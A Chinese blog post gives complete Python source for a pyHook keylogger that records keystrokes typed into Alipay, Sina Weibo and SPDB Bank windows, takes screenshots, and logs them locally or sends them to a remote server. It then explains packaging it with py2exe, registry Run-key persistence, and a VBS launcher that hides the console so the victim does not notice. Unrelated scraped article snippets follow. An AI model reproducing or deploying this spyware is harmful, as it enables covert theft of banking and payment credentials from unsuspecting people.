pyHook监听用户鼠标、键盘事件
一、代码部分:获取用户输入信息,并与截图一起保存到XX目录下# -*- coding: utf-8 -*- # import pythoncom import pyHook import timeimport socketfrom PIL import ImageGrab##如果是远程监听某个目标电脑,可以自己架设一个服务器,然后将获取到的信息发回给服务器#def send_msg_to_server(msg): host="" port=1234 buf_size=1024 addr=(host,port) if len(msg)>0: tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) tcp_client_sock.connect(addr) info=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+' from '+socket.gethostname()+':' tcp_client_sock.sendall(info+msg) tcp_client_sock.close() ##也可以将获取到的信息保存到本地文件下#def write_msg_to_txt(msg): f=open('D:/workspace/mytest/pyhook/media/monitor.txt','a') f.write(msg+'\r\n') f.close()def onMouseEvent(event): # 监听鼠标事件 global MSG if len(MSG)!=0: #send_msg_to_server(MSG) write_msg_to_txt(MSG) MSG='' pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time())) #将用户屏幕截图,保存到本地某个目录下(也可以搞成远程发送到自己的服务器) pic = ImageGrab.grab() pic.save('D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name) return True def onKeyboardEvent(event): #监听键盘事件 global MSG title= event.WindowName.decode('GBK') #通过网站title,判断当前网站是否是“监听目标” if title.find(u"支付宝") != -1 or title.find(u'新浪微博')!=-1 or title.find(u'浦发银行')!=-1: #Ascii: 8-Backspace , 9-Tab ,13-Enter if (127 >= event.Ascii > 31) or (event.Ascii == 8): MSG += chr(event.Ascii) if (event.Ascii == 9) or (event.Ascii == 13): #send_msg_to_remote(MSG) write_msg_to_txt(MSG) MSG = '' #屏幕抓图实现 pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time())) pic = ImageGrab.grab() #保存成为以日期命名的图片 pic.save('D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name) return True if __name__ == "__main__": MSG = '' #创建hook句柄 hm = pyHook.HookManager() #监控鼠标 hm.SubscribeMouseLeftDown(onMouseEvent) hm.HookMouse() #监控键盘 hm.KeyDown = onKeyboardEvent hm.HookKeyboard() #循环获取消息 pythoncom.PumpMessages() 二、用py2exe将脚本打包: 新建一个py文件setup.py,内容如下: from distutils.core import setup import py2exe setup(console=["monitor.py"]) #setup(windows=["monitor.py"]) 命令行执行以下命令: python setup.py py2exe 三、将该程序设置为开机自动启动: 法①: 将需要开机启动的文件(创建一个快捷方式,然后)放到“开始/所有程序/启动”目录下 法②: 修改注册表:命令行— regedit ,然后到以下路径下: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] 新建一个“字符串值”,然后编辑:设置exe文件所在路径 D:\workspace\mytest\pyhook\dist\monitor.exe (以上两种方式启动monitor.exe的话,会弹出一个命令框,显示监听日志信息,这样的话,被监听的人一下就能发现了,可以试试下面这个方式) 法③: 新建一个 .vbs文件,内容如下: set wscriptObj = CreateObject("Wscript.Shell") wscriptObj.run “D:\workspace\mytest\pyhook\dist\monitor.exe",0 双击运行该vbs文件,则monitor.exe就在后台启动了(不会弹出一个大黑框)。 然后参考法①、② 把该vbs设置成开机启动即可。附言:1、该程序涉及到一些模块都需要自己安装一下;2、文章中凡是“D:\workspace....”这样的路径都需要改成自己的真实路径;3、代码仅供分享、学习,请勿干非法的事;4、我也是初学,所以请随便喷;pyHook监听用户鼠标、键盘事件的更多相关文章
- js中对arry数组的各种操作小结 瀑布流AJAX无刷新加载数据列表--当页面滚动到Id时再继续加载数据 web前端url传递值 js加密解密 HTML中让表单input等文本框为只读不可编辑的方法 js监听用户的键盘敲击事件,兼容各大主流浏览器 HTML特殊字符
js中对arry数组的各种操作小结 最近工作比较轻松,于是就花时间从头到尾的对js进行了详细的学习和复习,在看书的过程中,发现自己平时在做项目的过程中有很多地方想得不过全面,写的不够合理,所以说啊 ...
- js监听用户的键盘敲击事件,兼容各大主流浏览器
js监听用户的键盘敲击事件,兼容各大主流浏览器 <script type="text/javascript"> document.onkeydown = functio ...
- vue使用element-ui的el-input监听不了键盘事件解决
vue使用element-ui的el-input监听不了键盘事件,原因应该是element-ui自身封装了一层div在input标签外面,把原来的事件隐藏了,所以如下代码运行是无响应的: <el ...
- JAVA之旅(三十一)——JAVA的图形化界面,GUI布局,Frame,GUI事件监听机制,Action事件,鼠标事件
JAVA之旅(三十一)--JAVA的图形化界面,GUI布局,Frame,GUI事件监听机制,Action事件,鼠标事件 有段时间没有更新JAVA了,我们今天来说一下JAVA中的图形化界面,也就是GUI ...
- Python——pyHook监听鼠标键盘事件
pyHook包为Windows中的全局鼠标和键盘事件提供回调. 底层C库报告的信息包括事件的时间,事件发生的窗口名称,事件的值,任何键盘修饰符等. 而正常工作需要pythoncom等操作系统的API的 ...
- js 监听手机端键盘弹出和收起事件
//这里区分不同系统,可以参考之前的文档记录 https://www.cnblogs.com/wind-wang/p/10737110.html const ua = typeof window == ...
- Android如何监听蓝牙耳机的按键事件(转)
源: Android如何监听蓝牙耳机的按键事件 写在前面: 直接想要代码很简单,你直接把滚动条拉到最底端就可以看到.如果想要十分地了解为什么,那就按照我规划的一步一步来理解.以下测试环境以手头上有的「 ...
- Android怎样监听蓝牙耳机的按键事件
Android怎样监听蓝牙耳机的按键事件 写在前面: 直接想要代码非常easy,你直接把滚动栏拉到最底端就能够看到.假设想要十分地了解为什么,那就依照我规划的一步一步来理解.下面測试环境以手头上有的「 ...
- 【转】Qt鼠标键盘事件
http://blog.csdn.net/lovebird_27/article/details/50351336 Qt 程序需要在main()函数创建一个QCoreApplication对象,然后调 ...
随机推荐
- JS中“==”和“===”的原理和区别
1.为什么讨论这个问题? - 有个说法,尽量不用==,而使用===,是这样吗? 2.分析问题,原理是什么? 下面说说ECMAScript 5 language specification里的说明: 1 ...
- discuz $_G变量
class.core.php中 global $_G; $_G = array( 'uid' => 0, 'username' => ...
- Python: 读文件,写文件
读写文件是最常见的IO操作.Python内置了读写文件的函数. 读写文件前,我们先了解一下,在磁盘上读写文件的功能都是有操作系统提供的,现代操作系统不允许普通的程序直接操作磁盘,所以,读写文件就是请求 ...
- spring中对象转json过滤(jackson)
spring自带的json解析器是jackson jackson注解 @JsonIgnore 此注解用于属性上,作用是进行JSON操作时忽略该属性. @JsonFormat 此注解用于属性上,作用是把 ...
- troubleshooting-Container 'PHYSICAL' memory limit
原因分析 CDH 集群环境没有对 Container分配足够的运行环境(内存) 解决办法 需要修改的配置文件,将具体的配置项修改匹配集群环境资源.如下: 配置文件 配置设置 解释 计算值(参考) ya ...
- MAKEFILE 编程基础之一【转】
本文转载自:http://www.himigame.com/gcc-makefile/766.html 概述: 什么是makefile?或许很多Winodws的程序员都不知道这个东西,因为那些Wind ...
- bootstrap6 关于bs的使用总结
在同一行中也可以有多个过了行的 "行", 即列的"总宽度"超宽度12. 即实现堆叠display:block和水平排列float的自动控制, 在div的clas ...
- RabbitMQ延时任务
概念: 消息的TTL(Time To Live)消息的TTL就是消息的存活时间.RabbitMQ可以对队列和消息分别设置TTL.对队列设置就是队列没有消费者连着的保留时间,也可以对每一个单独的消息做单 ...
- JavaScript 小知识
1.var 变量 <script type="text/javascript"> var a = "hong"; var fun = functio ...
- 分析redis key大小的几种方法
当redis被用作缓存时,有时我们希望了解key的大小分布,或者想知道哪些key占的空间比较大.本文提供了几种方法. 一. bigKeys 这是redis-cli自带的一个命令.对整个redis进行扫 ...